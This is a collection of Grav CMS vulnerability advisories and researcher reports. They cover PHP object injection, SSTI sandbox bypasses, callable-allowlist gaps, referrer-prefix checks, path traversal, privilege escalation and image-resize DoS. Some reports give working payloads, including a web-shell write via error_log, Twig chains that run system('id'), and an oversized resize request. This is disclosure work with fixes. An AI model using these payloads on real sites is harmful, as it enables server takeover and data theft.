See how grav compares to other vendors in security performance
Cross Site Scripting vulnerability in grav v.1.7.48 and before allows an attacker to execute arbitrary code via a crafted script to the form fields
Grav CMS before 2.0.0-beta.2 contains multiple code-execution vulnerabilities. Three unsafe unserialize() calls - in Scheduler\JobQueue, Framework\Cache\Adapter\FileCache, and Session - deserialize untrusted data without restricting allowed classes, enabling PHP object injection and, via a gadget chain, arbitrary code execution where an attacker controls the serialized input. Additionally, InstallCommand's git clone operation passes the branch, url, and path parameters into a shell command without escaping, allowing OS command injection via plugin/theme installation (which requires admin access). A Twig security blocklist bypass (server-side template injection) is also present. The issues are fixed in 2.0.0-beta.2.
Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to calluserfuncarray() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.
The Grav API plugin (getgrav/grav-plugin-api, bundled with Grav 2.0) before version 1.0.14 (fixed in 1.0.15) contains a missing authorization vulnerability in BlueprintPathResolver::resolveUserScope(). The method gates the users/<name> scope on the account's raw super-admin ACL flag (access.api.super) instead of validating the presented API key's actual scope. An attacker holding an API key scoped only to api.media.write minted on a super-admin account can bypass the authorization check and, via POST /blueprint-upload or GET /blueprint-files, write a file into another user's scope (in the shared user/accounts/ directory, constrained to image extensions by assertSafeExtension()) and browse that scope's file listing, despite the key not being granted api.users.write.
Affected versions and vulnerable location
- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Sinks: - system/src/Grav/Common/Data/Blueprint.php:455-458 calluserfuncarray($o, $params) (bare-function dynamic-data provider). - Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 calluserfuncarray($function, $params). - Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536. - Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables. - Bare-function branch (:530-534) uses only a denylist: if (isstring($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).
Root cause
GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.
errorlog is not on the denylist (verified: no occurrence in Utils.php). errorlog($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (streamsocketclient, dl, and mbsendmail are likewise absent, giving SSRF/other primitives.)
Attacker model
The same surface the published dynamic-data advisories accept as reachable: a data-@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
Reachability trace
1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['errorlog', '<?php system($GET[0]); ?>', 3, 'user/data/x.php']. 2. Blueprint::init() resolves the directive; isSafeDynamicCall('errorlog', $params) reaches the bare-function branch (:530), isDangerousFunction('errorlog') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true. 3. calluserfuncarray('errorlog', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct errorlog write, not an upload.
Reproduction
Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:
text [1] isSafeDynamicCall('errorlog', [payload,3,dest]) => true # guard ACCEPTS errorlog (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] calluserfuncarray('errorlog', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/gravrceproof.php']) file written: /tmp/gravrceproof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/gravrceproof.php => PWNED # arbitrary PHP executed (RCE)
The guard returns true for errorlog (and false for the denylisted system/exec controls), the errorlog sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:
bash rg -n "errorlog|streamsocketclient|mbsendmail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|calluserfuncarray" system/src/Grav/Common/Data/Blueprint.php
errorlog absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.
Suggested fix
Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: errorlog (arbitrary append), streamsocketclient (SSRF), and others must otherwise each be enumerated.
Severity and CVSS reasoning
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.
- PR:L: a blueprint/page-edit account, not super. - C:H/I:H/A:H: arbitrary file write leading to code execution.
How I found it and a note on tooling
I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found errorlog missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts errorlog and rejects system/exec, and drove the errorlog sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.
Summary
Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using strstartswith($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.
This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.
Affected code
system/src/Grav/Common/Uri.php, method referrer(): php $referrer = $SERVER['HTTPREFERER'] ?? null; ... $base = $this->rootUrl(true); // e.g. "https://example.com", no trailing slash // Referrer should always have host set and it should come from the same base address. if (!isstring($referrer) || !strstartswith($referrer, $base)) { $referrer = $default ?: $this->route(true, true); } $referrer = substr($referrer, strlen($base));
system/src/Grav/Common/Page/Pages.php, method referrerRoute(): php $referrer = $SERVER['HTTPREFERER'] ?? null; $root = $this->grav['baseurlabsolute']; // e.g. "https://example.com" if (!isstring($referrer) || !strstartswith($referrer, (string) $root)) { return null; }
Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (strstartswith($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || strstartswith($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.
Root cause
strstartswith($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.
Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.
Proof of concept, verified, real output
This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.
Step 1, clone the repo and confirm the commit under test: $ git clone --depth 1 https://github.com/getgrav/grav.git $ cd grav && git log -1 --format="%H %ai" c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100
Step 2, install PHP to execute the real class: $ apt-get install -y php-cli $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $SERVER['HTTPREFERER'] value, exactly the input path a live server would use:
php <?php // poc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } });
$env = [ 'HTTPHOST' => 'example.com', 'REQUESTURI' => '/target-route', 'HTTPS' => 'on', ];
$uri = new \Grav\Common\Uri($env);
$ref = new ReflectionObject($uri); $prop = $ref->getProperty('root'); $prop->setAccessible(true); $prop->setValue($uri, 'https://example.com');
function test($label, $refererHeader) { global $uri; $SERVER['HTTPREFERER'] = $refererHeader; $result = $uri->referrer('https://example.com/DEFAULTFALLBACKUSED'); echo "$label\n"; echo " Referer sent : $refererHeader\n"; echo " referrer() returned : $result\n"; echo " Same-origin check : " . ($result === '/DEFAULTFALLBACKUSED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n"; }
echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n"; echo "Site base (\$root, as init() would set it) = https://example.com\n\n";
test('[1] Legitimate same-site referrer', 'https://example.com/some/page'); test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish'); test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish'); test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');
Step 4, run it: $ php poc.php
Actual output: === Grav\Common\Uri::referrer() executed against real, unmodified source === Site base ($root, as init() would set it) = https://example.com
[1] Legitimate same-site referrer Referer sent : https://example.com/some/page referrer() returned : /some/page Same-origin check : ACCEPTED (Referer treated as same-origin)
[2] Unrelated attacker site, sanity check, must be rejected Referer sent : https://attacker.tld/phish referrer() returned : /DEFAULTFALLBACKUSED Same-origin check : REJECTED (fallback used, correct)
[3] Attacker domain string-prefixing victim domain, vulnerable case Referer sent : https://example.com.attacker.tld/phish referrer() returned : .attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
[4] Attacker domain, dash variant, vulnerable case Referer sent : https://example.com-attacker.tld/phish referrer() returned : -attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.
For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same strstartswith comparison inside the real request path, not a standalone harness: curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.
Impact
An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.
Suggested fix
Anchor the comparison the same way the codebase already does correctly elsewhere: php // Uri::referrer() if (!isstring($referrer) || !($referrer === $base || strstartswith($referrer, $base . '/'))) { ... }
// Pages::referrerRoute() if (!isstring($referrer) || !($referrer === $root || strstartswith($referrer, $root . '/'))) { return null; } A more robust alternative is to parse both values with parseurl() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.
Additional notes
While reviewing this release I also checked Utils::checkFilename() and the uploadsdangerousextensions list, the Security::detectXss() regex handling of onevents and xmlns, and the twigsandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining strstartswith($x, $base) call site touching URLs or paths.
=========================================================== CWE FIELD =========================================================== CWE-346, Origin Validation Error
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium
Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.
=========================================================== SEVERITY FIELD =========================================================== Moderate, pending your confirmation of the Admin plugin call site, see note above
Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.
Cross Site Scripting vulnerability in grav v.1.7.48, v.1.7.47 and v.1.7.46 allows an attacker to execute arbitrary code via the onerror attribute of the img element
Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.
Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true
Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)
Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"
Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847
Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.
Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials
Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.
PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37
Summary
Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.
Details
Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.
The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:
php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);
return new TwigFilter($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }
return new TwigFilter($name, static function () {}); }
return false; });
In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.
Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:
php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;
// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }
// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];
$activelanguage = $language->getActive(); ... } } }
Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.
Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.
For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:
twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}
Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.
Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.
Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.
Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );
/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);
$form->message = $processedstring; break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
We can run the program with this payload:
bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages - Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
!image
!image
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
!image
Content of form:
title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
!image
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.
Summary An unauthenticated visitor exhausts server memory and CPU by requesting an image with oversized resize dimensions. One request drives a worker to several gigabytes of RAM and tens of seconds of CPU. A few concurrent requests take the host down.
Details Grav::fallbackUrl() (system/src/Grav/Common/Grav.php:800-804) loops over every query parameter and, when the name matches ImageMedium::$magicactions, calls that method on the medium with the comma-split value as arguments:
php foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { calluserfuncarray([&$medium, $action], explode(',', $params)); } }
forceResize runs with force=true, so it sets the output size to the attacker's values with no clamp against the source or any ceiling. The getgrav/image GD adapter then calls imagecreatetruecolor($w, $h). libgd allocates that buffer outside PHP's emalloc, so memorylimit does not cap it. Grav exposes no system.images.maxwidth/maxheight setting.
PoC Any page that serves an image works. With a 200x150 source image:
GET /home/test.png?forceResize=20000,20000
Measured on PHP 8.4.21 with memorylimit=128M:
- peak worker RSS 3,109 MB - 21.9 s CPU - HTTP 200, 1.6 MB response
8000x8000 already needs ~244 MB. The cache key includes the dimensions, so varying them forces fresh work on every request.
Impact Unauthenticated denial of service against any Grav site that serves images. No account, plugin, or non-default config required.
Fix Clamp the request-derived dimensions before dispatch, behind a configurable cap. The image library is the wrong layer; bound the arguments at the request boundary.
diff --- a/system/src/Grav/Common/Grav.php +++ b/system/src/Grav/Common/Grav.php @@ public function fallbackUrl($path) foreach ($uri->query(null, true) as $action => $params) { if (inarray($action, ImageMedium::$magicactions, true)) { - calluserfuncarray([&$medium, $action], explode(',', $params)); + $args = explode(',', $params); + $max = (int) $config->get('system.images.maxdimension', 8000); + if ($max > 0 + && inarray($action, ['resize', 'forceResize', 'cropResize', 'cropZoom', 'zoomCrop', 'crop'], true)) { + foreach ($args as $a) { + if (isnumeric($a) && (int) $a > $max) { + return false; // reject oversized derivative request + } + } + } + calluserfuncarray([&$medium, $action], $args); } }
Document system.images.maxdimension (default 8000) so operators can tune it. A total-pixel ceiling (width height) is a stricter alternative.
grav-plugin-admin is an HTML user interface that provides a way to configure Grav and create and modify pages. In 1.10.52 and earlier, an authenticated attacker with admin.users permission can change the password of any user account, including the super administrator, by sending a direct POST request to /admin/user/{username}?task=save with data[password] because saveUser authorizes the caller's user-management permission but does not verify whether the caller may edit the target user. This issue is expected to be fixed in version 1.10.53.
Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.
Grav CMS 2.0.10 contains a path traversal vulnerability in ImageMedium::watermark(), which passes its unsanitized $image argument to RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator::findResource(). Because the file:// scheme branch only lexically collapses '..' segments without a realpath/containment check, an editor authoring Markdown image syntax with traversal sequences can cause arbitrary image files outside Grav's media sandbox to be composited into a carrier image, which is then cached and served from a public, unauthenticated URL — disclosing those files to anonymous visitors.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.13 contains an API-key scope-cap bypass in UsersController's create() and update() methods. These methods enforce the scope cap only for api.users.write, but gate super-privilege grants on a bare isSuperAdmin() check that reads access.api.super directly without consulting the key's scopes. As a result, an api.users.write-scoped key minted on a super account can set access.api.super or assign a super-granting group to mint or promote a full super account, then authenticate as that account for uncapped administrative privileges.
The Flex Objects plugin (through 1.4.6, tested with Grav 2.0.11) contains an incorrect authorization vulnerability in its Flex Objects API. FlexApiController::update() checks only the general Flex directory permission and does not apply the additional target/field/super-admin checks enforced by the dedicated Users and Groups API controllers. An authenticated account with api.access, admin.login, and users.update permissions (but without api.users.write or admin.super) can use the generic /api/v1/flex-objects/user-accounts endpoint to change a super administrator's password, or the /api/v1/flex-objects/user-groups endpoint to grant its group admin.super, resulting in full site takeover. Fixed in Flex Objects 1.4.7.
Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
